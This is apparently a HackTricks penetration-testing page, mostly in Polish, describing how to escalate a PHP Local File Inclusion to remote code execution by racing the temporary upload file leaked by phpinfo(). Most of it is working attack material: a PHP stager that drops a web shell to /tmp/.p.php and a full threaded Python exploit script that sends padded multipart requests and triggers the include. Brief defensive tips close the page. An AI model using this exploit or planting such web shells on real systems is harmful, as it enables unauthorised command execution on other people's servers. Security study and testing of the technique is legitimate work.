LFI to RCE via PHPInfo

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Aby wykorzystać tę technikę potrzebujesz wszystkich poniższych:

  • Osiągalna strona, która wyświetla output phpinfo().
  • Lokalny prymityw Local File Inclusion (LFI), który kontrolujesz (np. include/require na wejściu użytkownika).
  • Włączone przesyłanie plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje multipart uploads zgodne z RFC1867 i utworzy tymczasowy plik dla każdej przesłanej części.
  • Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi być w stanie dołączyć tę ścieżkę.

Klasyczny write-up i oryginalny PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirror-y)

Samouczek HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Uwagi dotyczące oryginalnego PoC

  • Wyjście phpinfo() jest HTML-enkodowane, więc strzałka “=>” często pojawia się jako “=>”. Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania podczas parsowania wartości _FILES[tmp_name].
  • Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00), a nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinka.

Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) aby dopasować HTML-enkodowaną strzałkę:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teoria

  • Gdy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślny systemu operacyjnego) i udostępnia ścieżkę w $_FILES[‘’][‘tmp_name’]. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniona jego nazwa.
  • Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu go przez LFI zanim PHP go usunie. phpinfo() wypisuje $_FILES, w tym tmp_name.
  • Poprzez napompowanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wypłukane do klienta zanim żądanie zostanie zakończone, dzięki czemu możesz odczytać tmp_name, dopóki plik tymczasowy nadal istnieje, a następnie natychmiast uderzyć LFI z tą ścieżką.

W Windows pliki tymczasowe zwykle znajdują się w czymś w rodzaju C:\Windows\Temp\php*.tmp. W Linux/Unix zazwyczaj w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir.

Co sprawdzić w phpinfo() przed wyścigiem

Zanim wyślesz tysiące żądań, wyodrębnij wartości decydujące o tym, czy wyścig jest realistyczny:

  • file_uploads: musi być On.
  • upload_tmp_dir: jeśli ustawione, to jest katalog, który Twój LFI musi być w stanie zainclude’ować. Jeśli puste, spodziewaj się domyślnego katalogu tymczasowego systemu.
  • open_basedir: jeśli włączone, ścieżka include podatnego pliku nadal musi mieć dostęp do katalogu tymczasowego pokazanego w tmp_name.
  • output_buffering: 4096 to częsty/domyślny rozmiar i dlatego wiele PoCs czyta w kawałkach 4KB, ale ta wartość może się różnić.
  • zlib.output_compression, output_handler oraz wszelkie buforowanie na poziomie frameworka: zmniejszają szansę zobaczenia tmp_name wystarczająco wcześnie.
  • Server API: przydatne do określenia, ile buforowania może istnieć pomiędzy PHP a Tobą (apache2handler zazwyczaj łatwiej rozumieć niż fpm-fcgi za reverse proxy).

Jeśli strona nie pokazuje $_FILES, upewnij się, że naprawdę wysyłasz żądanie multipart/form-data z faktyczną częścią pliku. PHP wypełnia tmp_name tylko dla pól upload, które zostały sparsowane.

Przebieg ataku (krok po kroku)

  1. Przygotuj mały payload w PHP, który szybko utrwali shell, aby nie przegrać wyścigu (zapis pliku jest zazwyczaj szybszy niż czekanie na reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Wyślij duży multipart POST bezpośrednio do strony phpinfo(), tak aby utworzył się plik tymczasowy zawierający Twój payload. Napełnij różne nagłówki/cookies/parametry ~5–10KB paddingu, żeby zachęcić do wczesnego wypisu. Upewnij się, że nazwa pola formularza odpowiada temu, co sparsujesz w $_FILES.

  2. Gdy odpowiedź phpinfo() nadal się streamuje, parsuj częściowy body, aby wyciągnąć $_FILES[‘’][‘tmp_name’] (HTML-encoded). Gdy tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), uruchom swoje LFI, aby dołączyć tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, Twój payload zostanie uruchomiony i upuści /tmp/.p.php.

  3. Użyj upuszczonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie Twoje LFI pozwala go dołączyć), aby niezawodnie wykonywać komendy.

Tips

  • Użyj wielu jednoczesnych workerów, aby zwiększyć szanse na wygranie wyścigu.
  • Najczęściej pomocne miejsca do wstawienia paddingu: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu.
  • Jeśli aplikacja docelowa dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona kod PHP niezależnie od rozszerzenia pliku tymczasowego.

Minimalny PoC w Python 3 (socket-based)

Fragment poniżej koncentruje się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż stary skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Rozwiązywanie problemów

  • You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
  • tmp_name appears only at the very end of the response: Zwykle jest to problem z buforowaniem, a nie z wersją PHP. Duże wartości output_buffering, zlib.output_compression, userland output handlers, lub reverse-proxy/FastCGI buffering mogą opóźnić ciało phpinfo() aż do momentu, gdy żądanie uploadu niemal się zakończy.
  • You only get reliable streaming in a lab, not through the real site: CDN, WAF, lub reverse proxy mogą buforować odpowiedź upstream. Jeśli masz wiele tras do tej samej aplikacji, preferuj najbardziej bezpośrednią ścieżkę do origin.
  • The classic 4096-byte offset logic misses the leak: Traktuj 4096 jako punkt wyjścia wynikający z typowych domyślnych wartości output_buffering, nie jako uniwersalną stałą. Parsuj inkrementalnie i zatrzymaj się jak tylko tmp_name będzie kompletny.
  • The temp file is included but your shell dies immediately: Użyj tiny stagera, który zapisuje drugi plik, ponieważ przesłany plik tymczasowy nadal zostanie usunięty, gdy oryginalne żądanie się zakończy.
  • Output doesn’t flush early: Zwiększ padding, dodaj więcej dużych nagłówków, lub wyślij wiele równoległych żądań. Niektóre SAPIs/buffers nie będą flushować aż do osiągnięcia większych progów; dostosuj odpowiednio.
  • LFI path blocked by open_basedir or chroot: Musisz skierować LFI na dozwoloną ścieżkę lub przełączyć się na inny wektor LFI2RCE.
  • Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; użyj tej dokładnej ścieżki w LFI.

Praktyczne uwagi dla nowoczesnych stosów

  • This technique is still reproducible in modern lab environments; for example, Vulhub keeps a demonstrator on PHP 7.2. W praktyce powodzenie zwykle zależy bardziej od buforowania wyjścia i proxyingu niż od wersji/patch level konkretnego phpinfo().
  • flush() and implicit_flush only influence PHP’s own output layer. Nie gwarantują, że FastCGI gateway, reverse proxy, przeglądarka lub pośrednik natychmiast uwolnią częściowe fragmenty.
  • If the target is fpm-fcgi behind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. Wyścig działa tylko jeśli wystarczająca część odpowiedzi phpinfo() ucieknie z tego łańcucha zanim shutdown żądania usunie plik tymczasowy.

Wskazówki obronne

  • Never expose phpinfo() in production. Jeśli konieczne, ogranicz dostęp po IP/uwierzytelnieniu i usuń po użyciu.
  • Keep file_uploads disabled if not required. W przeciwnym razie ogranicz upload_tmp_dir do ścieżki niedostępnej dla include() w aplikacji i wymuszaj ścisłą walidację na wszystkich ścieżkach include/require.
  • Treat any LFI as critical; nawet bez phpinfo(), istnieją inne ścieżki LFI→RCE.

Powiązane techniki HackTricks

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Źródła

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks